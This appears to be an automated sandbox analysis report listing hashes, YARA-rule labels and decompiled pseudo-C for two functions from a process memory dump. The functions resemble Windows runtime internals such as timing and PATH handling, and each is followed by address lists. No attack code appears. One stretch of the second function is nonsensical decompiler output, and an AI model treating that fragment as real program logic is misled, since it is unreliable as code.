Opcode Fuzzy Hash: 5e7a9670f586cd056ac08b89f7020abfd791f59a14d48206a2e195726fa962d1
Instruction Fuzzy Hash: D651E171D2029A8EDF21DF68C846BFEBBB0AF00750F1042ADD959ABA82D7714941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0129B944, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0129B944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0x136d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(E01297D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E01348CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = E012B9E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return E012BB640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = E012BCE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(E01297D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							E01348F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = E012BAF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0x1368628; // 0x0
								_v68 = _t77;
								_t78 =  *0x136862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0x1368628; // 0x0
							_t116 =  *0x136862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x0129b94c
0x0129b956
0x0129b95c
0x0129b95e
0x0129b964
0x0129b969
0x0129b96d
0x0129b96d
0x0129b970
0x0129b974
0x0129b97a
0x0129badf
0x0129badf
0x0129bae2
0x0129bae4
0x0129bae6
0x0129baf0
0x012e2cb8
0x0129baf6
0x0129baf6
0x0129baf6
0x0129bafd
0x0129bb1f
0x0129bb1f
0x0129baff
0x0129bb00
0x0129bb00
0x0129bb03
0x0129bb03
0x0129bacb
0x0129bacf
0x0129bad0
0x0129bad1
0x0129badc
0x0129badc
0x0129b980
0x0129b980
0x0129b988
0x0129b98b
0x0129b98d
0x0129b990
0x0129b993
0x0129b999
0x0129b99b
0x0129b9a1
0x0129b9a5
0x0129b9aa
0x0129b9b0
0x0129b9bb
0x0129b9c0
0x0129b9c3
0x0129b9ca
0x0129b9cc
0x0129b9cf
0x0129b9d3
0x0129b9d7
0x0129ba94
0x0129ba94
0x0129ba98
0x0129baa3
0x012e2ccb
0x0129baa9
0x0129baa9
0x0129baa9
0x0129bab1
0x012e2cd5
0x012e2cdd
0x012e2cdd
0x0129babb
0x0129babc
0x0129bac2
0x0129bac3
0x0129bac3
0x0129bac6
0x00000000
0x0129b9dd
0x0129b9dd
0x0129b9e7
0x0129b9e7
0x0129b9ec
0x0129b9ec
0x0129b9f1
0x0129b9f5
0x0129b9fa
0x0129ba00
0x0129ba0c
0x0129ba10
0x0129ba10
0x0129ba12
0x0129ba18
0x00000000
0x00000000
0x0129bb26
0x0129bb26
0x0129ba1e
0x0129ba1e
0x0129ba23
0x0129ba25
0x0129ba2c
0x0129ba30
0x0129ba35
0x0129ba35
0x0129ba41
0x0129ba46
0x0129ba4c
0x0129ba50
0x0129ba54
0x0129ba6a
0x0129ba6e
0x0129ba70
0x0129ba74
0x0129ba78
0x0129ba7a
0x0129ba7c
0x0129ba8e
0x0129ba90
0x0129ba92
0x0129bb14
0x0129bb14
0x0129bb16
0x0129bb16
0x00000000
0x0129ba7c
0x0129bb0a
0x0129bb0d
0x00000000
0x00000000
0x00000000
0x0129bb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0129B9A5

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: a1860238968b195fa84a6f7e93dc5ddc1fe24f3029c8f8b34dc829d84df804b3
Instruction ID: f252b51dc70f3283eed1fa24bf249fbd9487dc12c3c3ef86d4fed6e2fc0fd296
Opcode Fuzzy Hash: a1860238968b195fa84a6f7e93dc5ddc1fe24f3029c8f8b34dc829d84df804b3
Instruction Fuzzy Hash: 15515D71628342CFCB20CF6DD09092ABBE5FB88750F14896EEA8587355D774EC44CB92

Uniqueness

Uniqueness Score: -1.00%

Function 012A2581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E012A2581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, char _a1546912038) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t233;
				signed int _t237;
				void* _t241;
				signed int _t247;
				signed int _t249;
				intOrPtr _t251;
				signed int _t254;
				signed int _t261;
				signed int _t264;
				signed int _t272;
				intOrPtr _t278;
				signed int _t280;
				signed int _t282;
				void* _t283;
				signed int _t284;
				unsigned int _t287;
				signed int _t291;
				intOrPtr* _t292;
				signed int _t293;
				signed int _t297;
				intOrPtr _t309;
				signed int _t318;
				signed int _t320;
				signed int _t321;
				signed int _t325;
				signed int _t326;
				void* _t328;
				signed int _t329;
				signed int _t331;
				signed int _t334;
				void* _t335;
				void* _t337;

				_t331 = _t334;
				_t335 = _t334 - 0x4c;
				_v8 =  *0x136d360 ^ _t331;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t325 = 0x136b2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t287 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t278 = 0x48;
				_t307 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t318 = 0;
				_v37 = _t307;
				if(_v48 <= 0) {
					L16:
					_t45 = _t278 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t326 = 0xc0000106;
						goto L32;
					} else {
						_t325 = L01294620(_t287,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t278);
						_v52 = _t325;
						__eflags = _t325;
						if(_t325 == 0) {
							_t326 = 0xc0000017;
							goto L32;
						} else {
							 *(_t325 + 0x44) =  *(_t325 + 0x44) & 0x00000000;
							_t50 = _t325 + 0x48; // 0x48
							_t320 = _t50;
							_t307 = _v32;
							 *((intOrPtr*)(_t325 + 0x3c)) = _t278;
							_t280 = 0;
							 *((short*)(_t325 + 0x30)) = _v48;
							__eflags = _t307;
							if(_t307 != 0) {
								 *(_t325 + 0x18) = _t320;
								__eflags = _t307 - 0x1368478;
								 *_t325 = ((0 | _t307 == 0x01368478) - 0x00000001 & 0xfffffffb) + 7;
								E012BF3E0(_t320,  *((intOrPtr*)(_t307 + 4)),  *_t307 & 0x0000ffff);
								_t307 = _v32;
								_t335 = _t335 + 0xc;
								_t280 = 1;
								__eflags = _a8;
								_t320 = _t320 + (( *_t307 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t272 = E013039F2(_t320);
									_t307 = _v32;
									_t320 = _t272;
								}
							}
							_t291 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t326 = _v68;
								__eflags = 0;
								 *((short*)(_t320 - 2)) = 0;
								goto L32;
							} else {
								_t282 = _t325 + _t280 * 4;
								_v56 = _t282;
								do {
									__eflags = _t307;
									if(_t307 != 0) {
										_t233 =  *(_v60 + _t291 * 4);
										__eflags = _t233;
										if(_t233 == 0) {
											goto L30;
										} else {
											__eflags = _t233 == 5;
											if(_t233 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t282 =  *(_v60 + _t291 * 4);
										 *(_t282 + 0x18) = _t320;
										_t237 =  *(_v60 + _t291 * 4);
										__eflags = _t237 - 8;
										if(_t237 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t237 * 4 +  &M012A2959))) {
												case 0:
													__ax =  *0x1368488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E012BF3E0(__edi,  *0x136848c, __ax & 0x0000ffff);
														__eax =  *0x1368488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E012BF3E0(_t320, _v80, _v64);
													_t267 = _v64;
													goto L26;
												case 2:
													 *0x1368480 & 0x0000ffff = E012BF3E0(__edi,  *0x1368484,  *0x1368480 & 0x0000ffff);
													__eax =  *0x1368480 & 0x0000ffff;
													__eax = ( *0x1368480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E012BF3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E012BF3E0(_t320, _v76, _v36);
														_t267 = _v36;
													}
													L26:
													_t335 = _t335 + 0xc;
													_t320 = _t320 + (_t267 >> 1) * 2 + 2;
													__eflags = _t320;
													L27:
													_push(0x3b);
													_pop(_t269);
													 *((short*)(_t320 - 2)) = _t269;
													goto L28;
												case 6:
													__ebx = "\\W;w\\W;w";
													__eflags = __ebx - "\\W;w\\W;w";
													if(__ebx != "\\W;w\\W;w") {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E012BF3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - "\\W;w\\W;w";
														} while (__ebx != "\\W;w\\W;w");
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0x1368478 & 0x0000ffff = E012BF3E0(__edi,  *0x136847c,  *0x1368478 & 0x0000ffff);
													__eax =  *0x1368478 & 0x0000ffff;
													__eax = ( *0x1368478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E013039F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0x1366e58 & 0x0000ffff = E012BF3E0(__edi,  *0x1366e5c,  *0x1366e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0x1366e58 & 0x0000ffff;
													__eax = ( *0x1366e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t291 = _v16;
													_t307 = _v32;
													L29:
													_t282 = _t282 + 4;
													__eflags = _t282;
													_v56 = _t282;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t291 = _t291 + 1;
									_v16 = _t291;
									__eflags = _t291 - _v48;
								} while (_t291 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t237 =  *(_v60 + _t318 * 4);
						if(_t237 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t237 * 4 +  &M012A2935))) {
							case 0:
								__ax =  *0x1368488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t307 =  &_v64;
								_v80 = E012A2E3E(0,  &_v64);
								_t278 = _t278 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0x1368480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x1368480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E0128EEF0(0x13679a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E0128EB70(__ecx, 0x13679a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t211 = _v72;
											__eflags = _t211;
											if(_t211 != 0) {
												L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t211);
											}
											_t212 = _v52;
											__eflags = _t212;
											if(_t212 != 0) {
												__eflags = _t326;
												if(_t326 < 0) {
													L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t212);
													_t212 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t287 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0x1367b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L01294620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E0128EB70(__ecx, 0x13679a0);
										__eax = _v52;
										L36:
										_pop(_t319);
										_pop(_t327);
										__eflags = _v8 ^ _t331;
										_pop(_t279);
										return E012BB640(_t212, _t279, _v8 ^ _t331, _t307, _t319, _t327);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t274 = _v56;
								if(_v56 != 0) {
									_t307 =  &_v36;
									_t276 = E012A2E3E(_t274,  &_v36);
									_t287 = _v36;
									_v76 = _t276;
								}
								if(_t287 == 0) {
									goto L44;
								} else {
									_t278 = _t278 + 2 + _t287;
								}
								goto L14;
							case 6:
								__eax =  *0x1365764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0x1368478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x1368478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0x1366e58 & 0x0000ffff;
								__eax = ( *0x1366e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t318 = _t318 + 1;
								if(_t318 >= _v48) {
									goto L16;
								} else {
									_t307 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					_t292 = 0x25;
					asm("int 0x29");
					asm("out 0x28, al");
					asm("o16 sub [edx], ch");
					asm("daa");
					_t241 = _t237 -  *_t292 + _t335 -  *_t292 -  *[es:ecx];
					_t328 = _t325 + 1;
					 *_t307 =  *_t307 - _t292;
					 *0x1f012a26 =  *0x1f012a26 + _t241;
					_pop(_t283);
					 *[cs:eax+ebp+0x5b35012a] =  *[cs:eax+ebp+0x5b35012a] + _t307;
					 *[cs:edx] =  *[cs:edx] + _t241;
					 *_t307 =  *_t307 - _t331;
					 *((intOrPtr*)(_t241 - 0x9fed5d8)) =  *((intOrPtr*)(_t241 - 0x9fed5d8)) + _t241;
					asm("daa");
					_push(ds);
					 *_t307 =  *_t307 - _t292;
					 *((intOrPtr*)(_t328 + 0x28)) =  *((intOrPtr*)(_t328 + 0x28)) + _t292;
					asm("daa");
					asm("fcomp dword [ebx+0x2e]");
					 *((intOrPtr*)(_t241 -  *_t292 -  *_t292 -  *_t292 +  &_a1546912038)) =  *((intOrPtr*)(_t241 -  *_t292 -  *_t292 -  *_t292 +  &_a1546912038)) + _t328;
					_t337 = _t335 + _t292;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0x134ff00);
					E012CD08C(_t283, _t320, _t328);
					_v44 =  *[fs:0x18];
					_t321 = 0;
					 *_a24 = 0;
					_t284 = _a12;
					__eflags = _t284;
					if(_t284 == 0) {
						_t247 = 0xc0000100;
					} else {
						_v8 = 0;
						_t329 = 0xc0000100;
						_v52 = 0xc0000100;
						_t249 = 4;
						while(1) {
							_v40 = _t249;
							__eflags = _t249;
							if(_t249 == 0) {
								break;
							}
							_t297 = _t249 * 0xc;
							_v48 = _t297;
							__eflags = _t284 -  *((intOrPtr*)(_t297 + 0x1251664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t264 = E012BE5C0(_a8,  *((intOrPtr*)(_t297 + 0x1251668)), _t284);
									_t337 = _t337 + 0xc;
									__eflags = _t264;
									if(__eflags == 0) {
										_t329 = E012F51BE(_t284,  *((intOrPtr*)(_v48 + 0x125166c)), _a16, _t321, _t329, __eflags, _a20, _a24);
										_v52 = _t329;
										break;
									} else {
										_t249 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t249 = _t249 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t329;
						__eflags = _t329;
						if(_t329 < 0) {
							__eflags = _t329 - 0xc0000100;
							if(_t329 == 0xc0000100) {
								_t293 = _a4;
								__eflags = _t293;
								if(_t293 != 0) {
									_v36 = _t293;
									__eflags =  *_t293 - _t321;
									if( *_t293 == _t321) {
										_t329 = 0xc0000100;
										goto L76;
									} else {
										_t309 =  *((intOrPtr*)(_v44 + 0x30));
										_t251 =  *((intOrPtr*)(_t309 + 0x10));
										__eflags =  *((intOrPtr*)(_t251 + 0x48)) - _t293;
										if( *((intOrPtr*)(_t251 + 0x48)) == _t293) {
											__eflags =  *(_t309 + 0x1c);
											if( *(_t309 + 0x1c) == 0) {
												L106:
												_t329 = E012A2AE4( &_v36, _a8, _t284, _a16, _a20, _a24);
												_v32 = _t329;
												__eflags = _t329 - 0xc0000100;
												if(_t329 != 0xc0000100) {
													goto L69;
												} else {
													_t321 = 1;
													_t293 = _v36;
													goto L75;
												}
											} else {
												_t254 = E01286600( *(_t309 + 0x1c));
												__eflags = _t254;
												if(_t254 != 0) {
													goto L106;
												} else {
													_t293 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t329 = E012A2C50(_t293, _a8, _t284, _a16, _a20, _a24, _t321);
											L76:
											_v32 = _t329;
											goto L69;
										}
									}
									goto L108;
								} else {
									E0128EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t329 = _a24;
									_t261 = E012A2AE4( &_v36, _a8, _t284, _a16, _a20, _t329);
									_v32 = _t261;
									__eflags = _t261 - 0xc0000100;
									if(_t261 == 0xc0000100) {
										_v32 = E012A2C50(_v36, _a8, _t284, _a16, _a20, _t329, 1);
									}
									_v8 = _t321;
									E012A2ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t247 = _t329;
					}
					L70:
					return E012CD0D1(_t247);
				}
				L108:
			}

0x012a2584
0x012a2586
0x012a2590
0x012a2596
0x012a2597
0x012a2598
0x012a2599
0x012a259e
0x012a25a4
0x012a25a9
0x012a25ac
0x012a25ae
0x012a25b1
0x012a25b2
0x012a25b5
0x012a25b8
0x012a25bb
0x012a25bc
0x012a25bf
0x012a25c2
0x012a25c5
0x012a25c6
0x012a25cb
0x012a25ce
0x012a25d8
0x012a25dd
0x012a25de
0x012a25e1
0x012a25e3
0x012a25e9
0x012a26da
0x012a26da
0x012a26dd
0x012a26e2
0x012e5b56
0x00000000
0x012a26e8
0x012a26f9
0x012a26fb
0x012a26fe
0x012a2700
0x012e5b60
0x00000000
0x012a2706
0x012a2706
0x012a270a
0x012a270a
0x012a270d
0x012a2713
0x012a2716
0x012a2718
0x012a271c
0x012a271e
0x012e5b6c
0x012e5b6f
0x012e5b7f
0x012e5b89
0x012e5b8e
0x012e5b93
0x012e5b96
0x012e5b9c
0x012e5ba0
0x012e5ba3
0x012e5bab
0x012e5bb0
0x012e5bb3
0x012e5bb3
0x012e5ba3
0x012a2724
0x012a2726
0x012a2729
0x012a272c
0x012a279d
0x012a279d
0x012a27a0
0x012a27a2
0x00000000
0x012a272e
0x012a272e
0x012a2731
0x012a2734
0x012a2734
0x012a2736
0x012e5bc1
0x012e5bc1
0x012e5bc4
0x00000000
0x012e5bca
0x012e5bca
0x012e5bcd
0x00000000
0x012e5bd3
0x00000000
0x012e5bd3
0x012e5bcd
0x012a273c
0x012a273c
0x012a2742
0x012a2747
0x012a274a
0x012a274d
0x012a2750
0x00000000
0x012a2756
0x012a2756
0x00000000
0x012a2902
0x012a2908
0x012a290b
0x00000000
0x012a2911
0x012a291c
0x012a2921
0x00000000
0x012a2921
0x00000000
0x00000000
0x012a2880
0x012a2887
0x012a288c
0x00000000
0x00000000
0x012a2805
0x012a280a
0x012a2814
0x012a2816
0x00000000
0x00000000
0x012a281e
0x012a2821
0x012a2823
0x00000000
0x012a2829
0x012a2829
0x012a2831
0x012a283c
0x012a283e
0x00000000
0x012a283e
0x00000000
0x00000000
0x012a284e
0x012a2850
0x012a2851
0x012a2854
0x012a2857
0x012a285a
0x012a285c
0x012a285d
0x00000000
0x00000000
0x012a275d
0x012a2761
0x00000000
0x012a2767
0x012a276e
0x012a2773
0x012a2773
0x012a2776
0x012a2778
0x012a277e
0x012a277e
0x012a2781
0x012a2781
0x012a2783
0x012a2784
0x00000000
0x00000000
0x012e5bd8
0x012e5bde
0x012e5be4
0x012e5be6
0x012e5be8
0x012e5be9
0x012e5bee
0x012e5bf8
0x012e5bff
0x012e5c01
0x012e5c04
0x012e5c07
0x012e5c0b
0x012e5c0d
0x012e5c0d
0x012e5c15
0x012e5c18
0x012e5c1b
0x012e5c1b
0x012e5c1e
0x00000000
0x00000000
0x012a28c3
0x012a28c8
0x012a28d2
0x012a28d4
0x012a28d8
0x012a28db
0x012e5c26
0x012e5c28
0x012e5c2d
0x012e5c2d
0x00000000
0x00000000
0x012e5c34
0x012e5c36
0x012e5c49
0x012e5c4e
0x012e5c54
0x012e5c5b
0x012e5c5d
0x012e5c60
0x012a2788
0x012a2788
0x012a278b
0x012a278e
0x012a278e
0x012a278e
0x012a2791
0x00000000
0x00000000
0x012a2756
0x012a2750
0x00000000
0x012a2794
0x012a2794
0x012a2795
0x012a2798
0x012a2798
0x00000000
0x012a2734
0x012a272c
0x012a2700
0x012a25ef
0x012a25ef
0x012a25ef
0x012a25f2
0x012a25f8
0x00000000
0x00000000
0x012a25fe
0x00000000
0x012a28e6
0x012a28ec
0x012a28ef
0x012a28f5
0x012a28f8
0x012a28f8
0x00000000
0x012a28f8
0x00000000
0x00000000
0x012a2866
0x012a2866
0x012a2876
0x012a2879
0x00000000
0x00000000
0x012a27e0
0x012a27e7
0x012a27e9
0x012a27eb
0x012e5afd
0x00000000
0x012e5afd
0x00000000
0x00000000
0x012a2633
0x012a2638
0x012a263b
0x012a263c
0x012a263e
0x012a2640
0x012a2642
0x012a2647
0x012a2649
0x012a264e
0x012a2650
0x012a2653
0x012a2659
0x012a26a2
0x012a26a7
0x012a26ac
0x012a26b2
0x012e5b11
0x012e5b15
0x012e5b17
0x00000000
0x012a26b8
0x012a26b8
0x012a26ba
0x012a27a6
0x012a27a6
0x012a27a9
0x012a27ab
0x012a27b9
0x012a27b9
0x012a27be
0x012a27c1
0x012a27c3
0x012a27c5
0x012a27c7
0x012e5c74
0x012e5c79
0x012e5c79
0x012a27c7
0x00000000
0x012a26c0
0x012a26c0
0x012a26c3
0x012a26c6
0x012a26c6
0x012a26c9
0x012a26c9
0x00000000
0x012a26c9
0x012a26ba
0x012a265b
0x012a265b
0x012a265e
0x012a2667
0x012a266d
0x012a2677
0x012a267c
0x012a267f
0x012a2681
0x012e5b49
0x012e5b4e
0x012a27cd
0x012a27d0
0x012a27d1
0x012a27d2
0x012a27d4
0x012a27dd
0x012a2687
0x012a2687
0x012a268a
0x012a268b
0x012a268e
0x012a268f
0x012a2691
0x012a2696
0x012a2698
0x012a269d
0x012a269f
0x00000000
0x012a269f
0x012a2681
0x00000000
0x00000000
0x012a2846
0x00000000
0x00000000
0x012a2605
0x012a260a
0x012a260c
0x012a2611
0x012a2616
0x012a2619
0x012a2619
0x012a261e
0x00000000
0x012a2624
0x012a2627
0x012a2627
0x00000000
0x00000000
0x012e5b1f
0x00000000
0x00000000
0x012a2894
0x012a289b
0x012a289d
0x012a28a1
0x012e5b2b
0x012e5b2e
0x012e5b2e
0x012a28a7
0x012a28a9
0x012e5b04
0x012e5b09
0x012e5b09
0x012e5b09
0x00000000
0x00000000
0x012e5b35
0x012e5b3c
0x012a28fb
0x012a28fb
0x012a26cc
0x012a26cc
0x012a26d0
0x00000000
0x012a26d2
0x012a26d2
0x00000000
0x012a26d2
0x00000000
